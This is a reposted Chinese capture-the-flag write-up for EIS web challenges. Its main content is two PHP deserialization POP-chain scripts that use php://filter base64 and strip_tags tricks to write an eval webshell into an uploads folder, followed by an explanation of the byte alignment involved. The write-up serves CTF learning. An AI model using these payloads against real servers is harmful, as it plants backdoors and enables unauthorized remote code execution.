码迷,mamicode.com
首页 > Web开发 > 详细

EIS web 学习记录

时间:2019-11-25 22:00:45      阅读:145      评论:0      收藏:0      [点我收藏+]

标签:lse   png   通过   pass   function   反序   不用   为什么   word   

Easybypass

放在php新特性的文章最后了,利用json反序列化脚本绕过disable_functions来get flag

Easypop

来自https://zhzhdoai.github.io/

<?php
error_reporting(0);

class A{

    protected $store;

    protected $key;

    protected $expire;
    public $complete;
    public $cache;
    public function __construct()
    {
        $this->key    = ".php";
        $this->store  = (new B());
        $this->expire = 6666;
        $this->complete="IDw/cGhwIGV2YWwoJF9QT1NUW29zd29yZF0pOz8+";
        $this->cache=["1"];
    }

}

class B
{
    public $options;
    public function __construct()
    {
        $this->options[‘prefix‘]=‘php://filter/write=string.strip_tags|convert.base64-decode/resource=./uploads/osword1‘;
        $this->options[‘serialize‘]=‘serialize‘;
        $this->options[‘data_compress‘]=0;
    }
}

echo urlencode(serialize((new a())));

来自https://www.jianshu.com/p/763427ea0e4b

<?php
class A{
    protected $store;
    protected $key;
    protected $expire;
    public function __construct()
    {
        $this->key = ‘1.php‘;
    }
    public function start($tmp){
        $this->store = $tmp;
    }
}
class B{
    public $options;
}

$a = new A();
$b = new B();
$b->options[‘prefix‘] = "php://filter/write=convert.base64-decode/resource=./uploads/";
$b->options[‘expire‘] = 11;    
$b->options[‘data_compress‘] = false;
$b->options[‘serialize‘] = ‘strval‘;
$a->start($b);
$object = array("path"=>"PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+");
$path = ‘111‘;
$a->cache = array($path=>$object);
$a->complete = ‘2‘;
echo urlencode(serialize($a));
?>  

第二个脚本就是取交集使获得base64的字符串,但是需要算字数,因为要满足base64 4个字节为一组的形式,所以需要算$data之前的字节数,保持4个字节为一组将前面的<??>标签中的内容正常解码,否则影响后续写入内容。其实这里不用猜的,可以去fuzz尝试,在本地尝试字符串,先尝试填充字符串看能否base64-decode,如果decode出来完整的一句话木马说明成功。

技术图片

 

技术图片

技术图片

 

 

 

 

第一个脚本不需要计算字数,通过

php://filter/write=string.strip_tags|convert.base64-decode/resource=./uploads/osword1

用strip_tags去除了XML整个标签内容,并且再base64解码写入。第一个脚本巧妙在直接$this->cache=["1"];,然后结合json_encode和serialize

技术图片

 

解释下为什么可以,因为base64解码默认的解码范围如下

技术图片

 

能解码的部分就为

s511IDw\/cGhwIGV2YWwoJF9QT1NUW29zd29yZF0pOz8+

前面的s511四个字节为一组,解码为..u

技术图片

 

因此就会解码为..u <?php eval($_POST[osword]);?>形成了正确的形式。因为用了

string.strip_tags|convert.base64-decode/resource

因此<??>标签中的内容直接被string.strip_tags去除

$data   = "<?php\n//" . sprintf(‘%012d‘, $expire) . "\n exit();?>\n" . $data;

注意这里,不要认为\n中的n会被算进去base64解码的字符数,因为这里用的双引号,不会对base64解码造成任何影响。

技术图片

 现在环境还开着,可以尝试去复现。

 

EIS web 学习记录

标签:lse   png   通过   pass   function   反序   不用   为什么   word   

原文地址:https://www.cnblogs.com/BOHB-yunying/p/11930028.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!